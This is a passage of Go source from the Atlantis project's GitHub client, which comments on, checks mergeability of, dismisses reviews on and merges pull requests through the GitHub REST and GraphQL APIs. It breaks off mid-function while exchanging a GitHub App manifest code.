`json:"pull_request"` } type GiteaIssueCommentPayload struct { Action string `json:"action"` Comment gitea.Comment `json:"comment"` Repository gitea.Repository `json:"repository"` Issue gitea.Issue `json:"issue"` } ================================================ FILE: server/events/vcs/github/client.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package github import ( "context" "encoding/base64" "errors" "fmt" "maps" "net/http" "slices" "sort" "strconv" "strings" "time" "github.com/gofri/go-github-ratelimit/github_ratelimit" "github.com/google/go-github/v83/github" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" "github.com/shurcooL/githubv4" ) // maxCommentLength is the maximum number of chars allowed in a single comment // by GitHub. const maxCommentLength = 65536 var ( clientMutationID = githubv4.NewString("atlantis") pullRequestDismissalMessage = *githubv4.NewString("Dismissing reviews because of plan changes") ) type GithubRepoIdCacheEntry struct { RepoId githubv4.Int LookupTime time.Time } type GitHubRepoIdCache struct { cache map[githubv4.String]GithubRepoIdCacheEntry } func NewGitHubRepoIdCache() GitHubRepoIdCache { return GitHubRepoIdCache{ cache: make(map[githubv4.String]GithubRepoIdCacheEntry), } } func (c *GitHubRepoIdCache) Get(key githubv4.String) (githubv4.Int, bool) { entry, ok := c.cache[key] if !ok { return githubv4.Int(0), false } if time.Since(entry.LookupTime) > time.Hour { delete(c.cache, key) return githubv4.Int(0), false } return entry.RepoId, true } func (c *GitHubRepoIdCache) Set(key githubv4.String, value githubv4.Int) { c.cache[key] = GithubRepoIdCacheEntry{ RepoId: value, LookupTime: time.Now(), } } // Client is used to perform GitHub actions. type Client struct { user string client *github.Client v4Client *githubv4.Client ctx context.Context config Config maxCommentsPerCommand int repoIdCache GitHubRepoIdCache } // GithubAppTemporarySecrets holds app credentials obtained from github after creation. type GithubAppTemporarySecrets struct { // ID is the app id. ID int64 // Key is the app's PEM-encoded key. Key string // Name is the app name. Name string // WebhookSecret is the generated webhook secret for this app. WebhookSecret string // URL is a link to the app, like https://github.com/apps/octoapp. URL string } type GithubReview struct { ID githubv4.ID SubmittedAt githubv4.DateTime Author struct { Login githubv4.String } } type GithubPRReviewSummary struct { ReviewDecision githubv4.String Reviews []GithubReview } // NewClient returns a valid GitHub client. func New(hostname string, credentials Credentials, config Config, maxCommentsPerCommand int, logger logging.SimpleLogging) (*Client, error) { logger.Debug("Creating new GitHub client for host: %s", hostname) transport, err := credentials.Client() if err != nil { return nil, fmt.Errorf("error initializing github authentication transport: %w", err) } transportWithRateLimit, err := github_ratelimit.NewRateLimitWaiterClient(transport.Transport) if err != nil { return nil, fmt.Errorf("error initializing github rate limit transport: %w", err) } var graphqlURL string var client *github.Client if hostname == "github.com" { client = github.NewClient(transportWithRateLimit) graphqlURL = "https://api.github.com/graphql" } else { apiURL := resolveGithubAPIURL(hostname) // TODO: Deprecated: Use NewClient(httpClient).WithEnterpriseURLs(baseURL, uploadURL) instead client, err = github.NewEnterpriseClient(apiURL.String(), apiURL.String(), transportWithRateLimit) //nolint:staticcheck if err != nil { return nil, err } graphqlURL = fmt.Sprintf("https://%s/api/graphql", apiURL.Host) } // Use the client from shurcooL's githubv4 library for queries. v4Client := githubv4.NewEnterpriseClient(graphqlURL, transportWithRateLimit) user, err := credentials.GetUser() logger.Debug("GH User: %s", user) if err != nil { return nil, fmt.Errorf("getting user: %w", err) } return &Client{ user: user, client: client, v4Client: v4Client, ctx: context.Background(), config: config, maxCommentsPerCommand: maxCommentsPerCommand, repoIdCache: NewGitHubRepoIdCache(), }, nil } // GetModifiedFiles returns the names of files that were modified in the pull request // relative to the repo root, e.g. parent/child/file.txt. func (g *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { logger.Debug("Getting modified files for GitHub pull request %d", pull.Num) var files []string nextPage := 0 listloop: for { opts := github.ListOptions{ PerPage: 300, } if nextPage != 0 { opts.Page = nextPage } // GitHub has started to return 404's sometimes. They've got some // eventual consistency issues going on so we're just going to attempt // up to 5 times for each page with exponential backoff. maxAttempts := 5 attemptDelay := 0 * time.Second for i := range maxAttempts { // First don't sleep, then sleep 1, 3, 7, etc. time.Sleep(attemptDelay) attemptDelay = 2*attemptDelay + 1*time.Second pageFiles, resp, err := g.client.PullRequests.ListFiles(g.ctx, repo.Owner, repo.Name, pull.Num, &opts) if resp != nil { logger.Debug("[attempt %d] GET /repos/%v/%v/pulls/%d/files returned: %v", i+1, repo.Owner, repo.Name, pull.Num, resp.StatusCode) } if err != nil { ghErr, ok := err.(*github.ErrorResponse) if ok && ghErr.Response.StatusCode == 404 { // (hopefully) transient 404, retry after backoff continue } // something else, give up return files, err } for _, f := range pageFiles { files = append(files, f.GetFilename()) // If the file was renamed, we'll want to run plan in the directory // it was moved from as well. if f.GetStatus() == "renamed" { files = append(files, f.GetPreviousFilename()) } } if resp.NextPage == 0 { break listloop } nextPage = resp.NextPage break } } return files, nil } // CreateComment creates a comment on the pull request. // If comment length is greater than the max comment length we split into // multiple comments. func (g *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { logger.Debug("Creating comment on GitHub pull request %d", pullNum) comments := common.SplitComment(logger, comment, maxCommentLength, g.maxCommentsPerCommand, command) for i := range comments { _, resp, err := g.client.Issues.CreateComment(g.ctx, repo.Owner, repo.Name, pullNum, &github.IssueComment{Body: &comments[i]}) if resp != nil { logger.Debug("POST /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) } if err != nil { return err } } return nil } // ReactToComment adds a reaction to a comment. func (g *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, _ int, commentID int64, reaction string) error { logger.Debug("Adding reaction to GitHub pull request comment %d", commentID) _, resp, err := g.client.Reactions.CreateIssueCommentReaction(g.ctx, repo.Owner, repo.Name, commentID, reaction) if resp != nil { logger.Debug("POST /repos/%v/%v/issues/comments/%d/reactions returned: %v", repo.Owner, repo.Name, commentID, resp.StatusCode) } return err } func (g *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { logger.Debug("Hiding previous command comments on GitHub pull request %d", pullNum) var allComments []*github.IssueComment nextPage := 0 for { comments, resp, err := g.client.Issues.ListComments(g.ctx, repo.Owner, repo.Name, pullNum, &github.IssueListCommentsOptions{ Sort: github.Ptr("created"), Direction: github.Ptr("asc"), ListOptions: github.ListOptions{Page: nextPage}, }) if resp != nil { logger.Debug("GET /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) } if err != nil { return fmt.Errorf("listing comments: %w", err) } allComments = append(allComments, comments...) if resp.NextPage == 0 { break } nextPage = resp.NextPage } for _, comment := range allComments { // Using a case insensitive compare here because usernames aren't case // sensitive and users may enter their atlantis users with different // cases. if comment.User != nil && !strings.EqualFold(comment.User.GetLogin(), g.user) { continue } // Crude filtering: The comment templates typically include the command name // somewhere in the first line. It's a bit of an assumption, but seems like // a reasonable one, given we've already filtered the comments by the // configured Atlantis user. body := strings.Split(comment.GetBody(), "\n") if len(body) == 0 { continue } firstLine := strings.ToLower(body[0]) if !strings.Contains(firstLine, strings.ToLower(command)) { continue } // If dir was specified, skip processing comments that don't contain the dir in the first line if dir != "" && !strings.Contains(firstLine, strings.ToLower(dir)) { continue } var m struct { MinimizeComment struct { MinimizedComment struct { IsMinimized githubv4.Boolean MinimizedReason githubv4.String ViewerCanMinimize githubv4.Boolean } } `graphql:"minimizeComment(input:$input)"` } input := githubv4.MinimizeCommentInput{ Classifier: githubv4.ReportedContentClassifiersOutdated, SubjectID: comment.GetNodeID(), } logger.Debug("Hiding comment %s", comment.GetNodeID()) if err := g.v4Client.Mutate(g.ctx, &m, input, nil); err != nil { return fmt.Errorf("minimize comment %s: %w", comment.GetNodeID(), err) } } return nil } // getPRReviews Retrieves PR reviews for a pull request on a specific repository. // The reviews are being retrieved using pages with the size of 10 reviews. func (g *Client) getPRReviews(repo models.Repo, pull models.PullRequest) (GithubPRReviewSummary, error) { var query struct { Repository struct { PullRequest struct { ReviewDecision githubv4.String Reviews struct { Nodes []GithubReview // contains pagination information PageInfo struct { EndCursor githubv4.String HasNextPage githubv4.Boolean } } `graphql:"reviews(first: $entries, after: $reviewCursor, states: $reviewState)"` } `graphql:"pullRequest(number: $number)"` } `graphql:"repository(owner: $owner, name: $name)"` } variables := map[string]any{ "owner": githubv4.String(repo.Owner), "name": githubv4.String(repo.Name), "number": githubv4.Int(pull.Num), // #nosec G115: integer overflow conversion int -> int32 "entries": githubv4.Int(10), "reviewState": []githubv4.PullRequestReviewState{githubv4.PullRequestReviewStateApproved}, "reviewCursor": (*githubv4.String)(nil), // initialize the reviewCursor with null } var allReviews []GithubReview for { err := g.v4Client.Query(g.ctx, &query, variables) if err != nil { return GithubPRReviewSummary{ query.Repository.PullRequest.ReviewDecision, allReviews, }, fmt.Errorf("getting reviewDecision: %w", err) } allReviews = append(allReviews, query.Repository.PullRequest.Reviews.Nodes...) // if we don't have a NextPage pointer, we have requested all pages if !query.Repository.PullRequest.Reviews.PageInfo.HasNextPage { break } // set the end cursor, so the next batch of reviews is going to be requested and not the same again variables["reviewCursor"] = githubv4.NewString(query.Repository.PullRequest.Reviews.PageInfo.EndCursor) } return GithubPRReviewSummary{ query.Repository.PullRequest.ReviewDecision, allReviews, }, nil } // PullIsApproved returns true if the pull request was approved. func (g *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { logger.Debug("Checking if GitHub pull request %d is approved", pull.Num) nextPage := 0 for { opts := github.ListOptions{ PerPage: 300, } if nextPage != 0 { opts.Page = nextPage } pageReviews, resp, err := g.client.PullRequests.ListReviews(g.ctx, repo.Owner, repo.Name, pull.Num, &opts) if resp != nil { logger.Debug("GET /repos/%v/%v/pulls/%d/reviews returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) } if err != nil { return approvalStatus, fmt.Errorf("getting reviews: %w", err) } for _, review := range pageReviews { if review != nil && review.GetState() == "APPROVED" { return models.ApprovalStatus{ IsApproved: true, ApprovedBy: *review.User.Login, Date: review.SubmittedAt.Time, }, nil } } if resp.NextPage == 0 { break } nextPage = resp.NextPage } return approvalStatus, nil } // DiscardReviews dismisses all reviews on a pull request func (g *Client) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { logger.Debug("Discarding all reviews on GitHub pull request %d", pull.Num) reviewStatus, err := g.getPRReviews(repo, pull) if err != nil { return err } // https://docs.github.com/en/graphql/reference/input-objects#dismisspullrequestreviewinput var mutation struct { DismissPullRequestReview struct { PullRequestReview struct { ID githubv4.ID } } `graphql:"dismissPullRequestReview(input: $input)"` } // dismiss every review one by one. // currently there is no way to dismiss them in one mutation. for _, review := range reviewStatus.Reviews { input := githubv4.DismissPullRequestReviewInput{ PullRequestReviewID: review.ID, Message: pullRequestDismissalMessage, ClientMutationID: clientMutationID, } mutationResult := &mutation err := g.v4Client.Mutate(g.ctx, mutationResult, input, nil) if err != nil { return fmt.Errorf("dismissing reviewDecision: %w", err) } } return nil } type PageInfo struct { EndCursor *githubv4.String HasNextPage githubv4.Boolean } type WorkflowFileReference struct { Path githubv4.String RepositoryId githubv4.Int Sha *githubv4.String } func (original WorkflowFileReference) Copy() WorkflowFileReference { copy := WorkflowFileReference{ Path: original.Path, RepositoryId: original.RepositoryId, Sha: new(githubv4.String), } if original.Sha != nil { *copy.Sha = *original.Sha } return copy } type WorkflowRunFile struct { Path githubv4.String RepositoryFileUrl githubv4.String RepositoryName githubv4.String } type WorkflowRun struct { File *WorkflowRunFile RunNumber githubv4.Int } func (original WorkflowRun) Copy() WorkflowRun { copy := WorkflowRun{ RunNumber: original.RunNumber, } if original.File != nil { fileCopy := *original.File copy.File = &fileCopy } return copy } type CheckSuite struct { Conclusion githubv4.String WorkflowRun *WorkflowRun } func (original CheckSuite) Copy() CheckSuite { copy := CheckSuite{ Conclusion: original.Conclusion, } if original.WorkflowRun != nil { workflowRunCopy := original.WorkflowRun.Copy() copy.WorkflowRun = &workflowRunCopy } return copy } type CheckRun struct { Name githubv4.String Conclusion githubv4.String // Not currently used: GitHub API classifies as required if coming from ruleset, even when the ruleset is not enforced! IsRequired githubv4.Boolean `graphql:"isRequired(pullRequestNumber: $number)"` CheckSuite CheckSuite } func (original CheckRun) Copy() CheckRun { copy := CheckRun{ Name: original.Name, Conclusion: original.Conclusion, IsRequired: original.IsRequired, CheckSuite: original.CheckSuite.Copy(), } return copy } type StatusContext struct { Context githubv4.String State githubv4.String // Not currently used: GitHub API classifies as required if coming from ruleset, even when the ruleset is not enforced! IsRequired githubv4.Boolean `graphql:"isRequired(pullRequestNumber: $number)"` } func (g *Client) LookupRepoId(repo githubv4.String) (githubv4.Int, error) { // This function may get many calls for the same repo, and repo names are not often changed // Utilize caching to reduce the number of API calls to GitHub if repoId, ok := g.repoIdCache.Get(repo); ok { return repoId, nil } repoSplit := strings.Split(string(repo), "/") if len(repoSplit) != 2 { return githubv4.Int(0), fmt.Errorf("invalid repository name: %s", repo) } var query struct { Repository struct { DatabaseId githubv4.Int } `graphql:"repository(owner: $owner, name: $name)"` } variables := map[string]any{ "owner": githubv4.String(repoSplit[0]), "name": githubv4.String(repoSplit[1]), } err := g.v4Client.Query(g.ctx, &query, variables) if err != nil { return githubv4.Int(0), fmt.Errorf("getting repository id from GraphQL: %w", err) } g.repoIdCache.Set(repo, query.Repository.DatabaseId) return query.Repository.DatabaseId, nil } func (g *Client) WorkflowRunMatchesWorkflowFileReference(workflowRunFile WorkflowRunFile, workflowFileReference WorkflowFileReference) (bool, error) { // Unfortunately, the GitHub API doesn't expose the repositoryId for the WorkflowRunFile from the statusCheckRollup. // Conversely, it doesn't expose the repository name for the WorkflowFileReference from the RepositoryRuleConnection. // Therefore, a second query is required to lookup the association between repositoryId and repositoryName. repoId, err := g.LookupRepoId(workflowRunFile.RepositoryName) if err != nil { return false, err } if repoId != workflowFileReference.RepositoryId || workflowRunFile.Path != workflowFileReference.Path { return false, nil } else if workflowFileReference.Sha != nil { return strings.Contains(string(workflowRunFile.RepositoryFileUrl), string(*workflowFileReference.Sha)), nil } else { return true, nil } } func (g *Client) GetPullRequestMergeabilityInfo( repo models.Repo, pull *github.PullRequest, ) ( reviewDecision githubv4.String, requiredChecks []githubv4.String, requiredWorkflows []WorkflowFileReference, checkRuns []CheckRun, statusContexts []StatusContext, err error, ) { var query struct { Repository struct { PullRequest struct { ReviewDecision githubv4.String BaseRef struct { BranchProtectionRule struct { RequiredStatusChecks []struct { Context githubv4.String } } Rules struct { PageInfo PageInfo Nodes []struct { Type githubv4.String RepositoryRuleset struct { Enforcement githubv4.String } Parameters struct { RequiredStatusChecksParameters struct { RequiredStatusChecks []struct { Context githubv4.String } } `graphql:"... on RequiredStatusChecksParameters"` WorkflowsParameters struct { Workflows []WorkflowFileReference } `graphql:"... on WorkflowsParameters"` } } } `graphql:"rules(first: 100, after: $ruleCursor)"` } Commits struct { Nodes []struct { Commit struct { StatusCheckRollup struct { Contexts struct { PageInfo PageInfo Nodes []struct { Typename githubv4.String `graphql:"__typename"` CheckRun CheckRun `graphql:"... on CheckRun"` StatusContext StatusContext `graphql:"... on StatusContext"` } } `graphql:"contexts(first: 100, after: $contextCursor)"` } } } } `graphql:"commits(last: 1)"` } `graphql:"pullRequest(number: $number)"` } `graphql:"repository(owner: $owner, name: $name)"` } variables := map[string]any{ "owner": githubv4.String(repo.Owner), "name": githubv4.String(repo.Name), "number": githubv4.Int(*pull.Number), // #nosec G115: integer overflow conversion int -> int32 "ruleCursor": (*githubv4.String)(nil), "contextCursor": (*githubv4.String)(nil), } requiredChecksSet := make(map[githubv4.String]any) pagination: for { err = g.v4Client.Query(g.ctx, &query, variables) if err != nil { break pagination } reviewDecision = query.Repository.PullRequest.ReviewDecision for _, rule := range query.Repository.PullRequest.BaseRef.BranchProtectionRule.RequiredStatusChecks { requiredChecksSet[rule.Context] = struct{}{} } for _, rule := range query.Repository.PullRequest.BaseRef.Rules.Nodes { if rule.RepositoryRuleset.Enforcement != "ACTIVE" { continue } switch rule.Type { case "REQUIRED_STATUS_CHECKS": for _, context := range rule.Parameters.RequiredStatusChecksParameters.RequiredStatusChecks { requiredChecksSet[context.Context] = struct{}{} } case "WORKFLOWS": for _, workflow := range rule.Parameters.WorkflowsParameters.Workflows { requiredWorkflows = append(requiredWorkflows, workflow.Copy()) } default: continue } } if len(query.Repository.PullRequest.Commits.Nodes) == 0 { err = errors.New("no commits found on PR") break pagination } for _, context := range query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.Nodes { switch context.Typename { case "CheckRun": checkRuns = append(checkRuns, context.CheckRun.Copy()) case "StatusContext": statusContexts = append(statusContexts, context.StatusContext) default: err = fmt.Errorf("unknown type of status check, %q", context.Typename) break pagination } } if !query.Repository.PullRequest.BaseRef.Rules.PageInfo.HasNextPage && !query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.HasNextPage { break pagination } if query.Repository.PullRequest.BaseRef.Rules.PageInfo.EndCursor != nil { variables["ruleCursor"] = query.Repository.PullRequest.BaseRef.Rules.PageInfo.EndCursor } if query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.EndCursor != nil { variables["contextCursor"] = query.Repository.PullRequest.Commits.Nodes[0].Commit.StatusCheckRollup.Contexts.PageInfo.EndCursor } } if err != nil { return "", nil, nil, nil, nil, fmt.Errorf("fetching rulesets, branch protections and status checks from GraphQL: %w", err) } for context := range requiredChecksSet { requiredChecks = append(requiredChecks, context) } return reviewDecision, requiredChecks, requiredWorkflows, checkRuns, statusContexts, nil } func CheckSuitePassed(checkSuite CheckSuite) bool { return checkSuite.Conclusion == "SUCCESS" || checkSuite.Conclusion == "SKIPPED" || checkSuite.Conclusion == "NEUTRAL" } func CheckRunPassed(checkRun CheckRun) bool { return checkRun.Conclusion == "SUCCESS" || checkRun.Conclusion == "SKIPPED" || checkRun.Conclusion == "NEUTRAL" } func StatusContextPassed(statusContext StatusContext, vcsstatusname string) bool { return statusContext.State == "SUCCESS" } func ExpectedCheckPassed(expectedContext githubv4.String, checkRuns []CheckRun, statusContexts []StatusContext, vcsstatusname string) bool { // If there's no WorkflowRun, we assume there's only one CheckRun with the given name. // In this case, we evaluate and return the status of this CheckRun. // If there is WorkflowRun, we assume there can be multiple checkRuns with the given name, // so we retrieve the latest checkRun and evaluate and return the status of the latest CheckRun. latestCheckRunNumber := githubv4.Int(-1) var latestCheckRun *CheckRun for _, checkRun := range checkRuns { if checkRun.Name != expectedContext { continue } if checkRun.CheckSuite.WorkflowRun == nil { return CheckRunPassed(checkRun) } if checkRun.CheckSuite.WorkflowRun.RunNumber > latestCheckRunNumber { latestCheckRunNumber = checkRun.CheckSuite.WorkflowRun.RunNumber latestCheckRun = &checkRun } } if latestCheckRun != nil { return CheckRunPassed(*latestCheckRun) } for _, statusContext := range statusContexts { if statusContext.Context == expectedContext { return StatusContextPassed(statusContext, vcsstatusname) } } return false } func (g *Client) ExpectedWorkflowPassed(expectedWorkflow WorkflowFileReference, checkRuns []CheckRun) (bool, error) { // If there's no WorkflowRun, we just skip evaluation for given CheckSuite. // If there is WorkflowRun, we assume there can be multiple checkSuites with the given name, // so we retrieve the latest checkRun and evaluate and return the status of the latest CheckSuite. latestCheckSuiteNumber := githubv4.Int(-1) var latestCheckSuite *CheckSuite for _, checkRun := range checkRuns { if checkRun.CheckSuite.WorkflowRun == nil || checkRun.CheckSuite.WorkflowRun.File == nil { continue } match, err := g.WorkflowRunMatchesWorkflowFileReference(*checkRun.CheckSuite.WorkflowRun.File, expectedWorkflow) if err != nil { return false, err } if match { if checkRun.CheckSuite.WorkflowRun.RunNumber > latestCheckSuiteNumber { latestCheckSuiteNumber = checkRun.CheckSuite.WorkflowRun.RunNumber latestCheckSuite = &checkRun.CheckSuite } } } if latestCheckSuite != nil { return CheckSuitePassed(*latestCheckSuite), nil } return false, nil } // IsMergeableMinusApply checks review decision (which takes into account CODEOWNERS) and required checks for PR (excluding the atlantis apply check). func (g *Client) IsMergeableMinusApply(logger logging.SimpleLogging, repo models.Repo, pull *github.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) { if pull.Number == nil { return false, errors.New("pull request number is nil") } reviewDecision, requiredChecks, requiredWorkflows, checkRuns, statusContexts, err := g.GetPullRequestMergeabilityInfo(repo, pull) if err != nil { return false, err } notMergeablePrefix := fmt.Sprintf("Pull Request %s/%s:%s is not mergeable", repo.Owner, repo.Name, strconv.Itoa(*pull.Number)) // Review decision takes CODEOWNERS into account // Empty review decision means review is not required if reviewDecision != "APPROVED" && len(reviewDecision) != 0 { logger.Debug("%s: Review Decision: %s", notMergeablePrefix, reviewDecision) return false, nil } // The statusCheckRollup does not always contain all required checks // For example, if a check was made required after the pull request was opened, it would be missing // Go through all checks and workflows required by branch protection or rulesets // Make sure that they can all be found in the statusCheckRollup and that they all pass for _, requiredCheck := range requiredChecks { if strings.HasPrefix(string(requiredCheck), fmt.Sprintf("%s/%s", vcsstatusname, command.Apply.String())) { // Ignore atlantis apply check(s) continue } if !slices.Contains(ignoreVCSStatusNames, GetVCSStatusNameFromRequiredCheck(requiredCheck)) && !ExpectedCheckPassed(requiredCheck, checkRuns, statusContexts, vcsstatusname) { logger.Debug("%s: Expected Required Check: %s VCS Status Name: %s Ignore VCS Status Names: %s", notMergeablePrefix, requiredCheck, vcsstatusname, ignoreVCSStatusNames) return false, nil } } for _, requiredWorkflow := range requiredWorkflows { passed, err := g.ExpectedWorkflowPassed(requiredWorkflow, checkRuns) if err != nil { return false, err } if !passed { logger.Debug("%s: Expected Required Workflow: RepositoryId: %d Path: %s", notMergeablePrefix, requiredWorkflow.RepositoryId, requiredWorkflow.Path) return false, nil } } return true, nil } func GetVCSStatusNameFromRequiredCheck(requiredCheck githubv4.String) string { return strings.Split(string(requiredCheck), "/")[0] } // PullIsMergeable returns true if the pull request is mergeable. func (g *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) { logger.Debug("Checking if GitHub pull request %d is mergeable", pull.Num) githubPR, err := g.GetPullRequest(logger, repo, pull.Num) if err != nil { return models.MergeableStatus{}, fmt.Errorf("getting pull request: %w", err) } // We map our mergeable check to when the GitHub merge button is clickable. // This corresponds to when the PR is not a draft and has one of the following states: // clean: No conflicts, all requirements satisfied. // Merging is allowed (green box). // unstable: Failing/pending commit status that is not part of the required // status checks. Merging is allowed (yellow box). // has_hooks: GitHub Enterprise only, if a repo has custom pre-receive // hooks. Merging is allowed (green box). // See: https://github.com/octokit/octokit.net/issues/1763 if githubPR.GetDraft() { return models.MergeableStatus{ IsMergeable: false, Reason: "PR is a draft", }, nil } state := githubPR.GetMergeableState() if state == "" { state = "" } switch state { case "clean", "unstable", "has_hooks": return models.MergeableStatus{ IsMergeable: true, }, nil case "blocked": if g.config.AllowMergeableBypassApply { logger.Debug("AllowMergeableBypassApply feature flag is enabled - attempting to bypass apply from mergeable requirements") isMergeableMinusApply, err := g.IsMergeableMinusApply(logger, repo, githubPR, vcsstatusname, ignoreVCSStatusNames) if err != nil { return models.MergeableStatus{}, fmt.Errorf("getting pull request status: %w", err) } if isMergeableMinusApply { return models.MergeableStatus{ IsMergeable: true, }, nil } return models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked, and cannot bypass mergeable requirements", }, nil } return models.MergeableStatus{ IsMergeable: false, Reason: "PR is in state blocked", }, nil default: return models.MergeableStatus{ IsMergeable: false, Reason: fmt.Sprintf("PR is in state %s", state), }, nil } } // GetPullRequest returns the pull request. func (g *Client) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, num int) (*github.PullRequest, error) { logger.Debug("Getting GitHub pull request %d", num) var err error var pull *github.PullRequest // GitHub has started to return 404's here (#1019) even after they send the webhook. // They've got some eventual consistency issues going on so we're just going // to attempt up to 5 times with exponential backoff. maxAttempts := 5 attemptDelay := 0 * time.Second for range maxAttempts { // First don't sleep, then sleep 1, 3, 7, etc. time.Sleep(attemptDelay) attemptDelay = 2*attemptDelay + 1*time.Second pull, resp, err := g.client.PullRequests.Get(g.ctx, repo.Owner, repo.Name, num) if resp != nil { logger.Debug("GET /repos/%v/%v/pulls/%d returned: %v", repo.Owner, repo.Name, num, resp.StatusCode) } if err == nil { return pull, nil } ghErr, ok := err.(*github.ErrorResponse) if !ok || ghErr.Response.StatusCode != 404 { return pull, err } } return pull, err } // UpdateStatus updates the status badge on the pull request. // See https://github.com/blog/1227-commit-status-api. func (g *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { ghState := "error" switch state { case models.PendingCommitStatus: ghState = "pending" case models.SuccessCommitStatus: ghState = "success" case models.FailedCommitStatus: ghState = "failure" } logger.Info("Updating GitHub Check status for '%s' to '%s'", src, ghState) status := github.RepoStatus{ State: github.Ptr(ghState), Description: github.Ptr(description), Context: github.Ptr(src), TargetURL: &url, } _, resp, err := g.client.Repositories.CreateStatus(g.ctx, repo.Owner, repo.Name, pull.HeadCommit, status) if resp != nil { logger.Debug("POST /repos/%v/%v/statuses/%s returned: %v", repo.Owner, repo.Name, pull.HeadCommit, resp.StatusCode) } return err } // MergePull merges the pull request. func (g *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { logger.Debug("Merging GitHub pull request %d", pull.Num) // Users can set their repo to disallow certain types of merging. // We detect which types aren't allowed and use the type that is. repo, resp, err := g.client.Repositories.Get(g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name) if resp != nil { logger.Debug("GET /repos/%v/%v returned: %v", pull.BaseRepo.Owner, pull.BaseRepo.Name, resp.StatusCode) } if err != nil { return fmt.Errorf("fetching repo info: %w", err) } const ( defaultMergeMethod = "merge" rebaseMergeMethod = "rebase" squashMergeMethod = "squash" ) mergeMethodsAllow := map[string]func() bool{ defaultMergeMethod: repo.GetAllowMergeCommit, rebaseMergeMethod: repo.GetAllowRebaseMerge, squashMergeMethod: repo.GetAllowSquashMerge, } mergeMethodsName := slices.Collect(maps.Keys(mergeMethodsAllow)) sort.Strings(mergeMethodsName) var method string if pullOptions.MergeMethod != "" { method = pullOptions.MergeMethod isMethodAllowed, isMethodExist := mergeMethodsAllow[method] if !isMethodExist { return fmt.Errorf("merge method '%s' is unknown. Specify one of the valid values: '%s'", method, strings.Join(mergeMethodsName, ", ")) } if !isMethodAllowed() { return fmt.Errorf("merge method '%s' is not allowed by the repository Pull Request settings", method) } } else { method = defaultMergeMethod if !repo.GetAllowMergeCommit() { if repo.GetAllowRebaseMerge() { method = rebaseMergeMethod } else if repo.GetAllowSquashMerge() { method = squashMergeMethod } } } // Now we're ready to make our API call to merge the pull request. options := &github.PullRequestOptions{ MergeMethod: method, } logger.Debug("PUT /repos/%v/%v/pulls/%d/merge", repo.Owner, repo.Name, pull.Num) mergeResult, resp, err := g.client.PullRequests.Merge( g.ctx, pull.BaseRepo.Owner, pull.BaseRepo.Name, pull.Num, // NOTE: Using the empty string here causes GitHub to autogenerate // the commit message as it normally would. "", options) if resp != nil { logger.Debug("POST /repos/%v/%v/pulls/%d/merge returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) } if err != nil { return fmt.Errorf("merging pull request: %w", err) } if !mergeResult.GetMerged() { return fmt.Errorf("could not merge pull request: %s", mergeResult.GetMessage()) } return nil } // MarkdownPullLink specifies the string used in a pull request comment to reference another pull request. func (g *Client) MarkdownPullLink(pull models.PullRequest) (string, error) { return fmt.Sprintf("#%d", pull.Num), nil } // GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). // https://docs.github.com/en/graphql/reference/objects#organization func (g *Client) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) { logger.Debug("Getting GitHub team names for user '%s'", user) orgName := repo.Owner variables := map[string]any{ "orgName": githubv4.String(orgName), "userLogins": []githubv4.String{githubv4.String(user.Username)}, "teamCursor": (*githubv4.String)(nil), } var q struct { Organization struct { Teams struct { Edges []struct { Node struct { Name string Slug string } } PageInfo struct { EndCursor githubv4.String HasNextPage bool } } `graphql:"teams(first:100, after: $teamCursor, userLogins: $userLogins)"` } `graphql:"organization(login: $orgName)"` } var teamNames []string ctx := context.Background() for { err := g.v4Client.Query(ctx, &q, variables) if err != nil { return nil, err } for _, edge := range q.Organization.Teams.Edges { teamNames = append(teamNames, edge.Node.Slug) } if !q.Organization.Teams.PageInfo.HasNextPage { break } variables["teamCursor"] = githubv4.NewString(q.Organization.Teams.PageInfo.EndCursor) } return teamNames, nil } // ExchangeCode returns a newly created app's info func (g *Client) ExchangeCode(logger logging.SimpleLogging, code string) (*GithubAppTemporarySecrets, error) { logger.Debug("Exchanging code for app secrets") ctx := context.Background() cfg, resp, err := g.client.Apps.CompleteAppManifest(ctx, code) if resp != nil { logger.Debug("POST /app-manifests/%s/conversions returned: %v", code, resp.StatusCode) } data := &GithubAppTemporarySecrets{ ID: cfg.GetID(), Key: 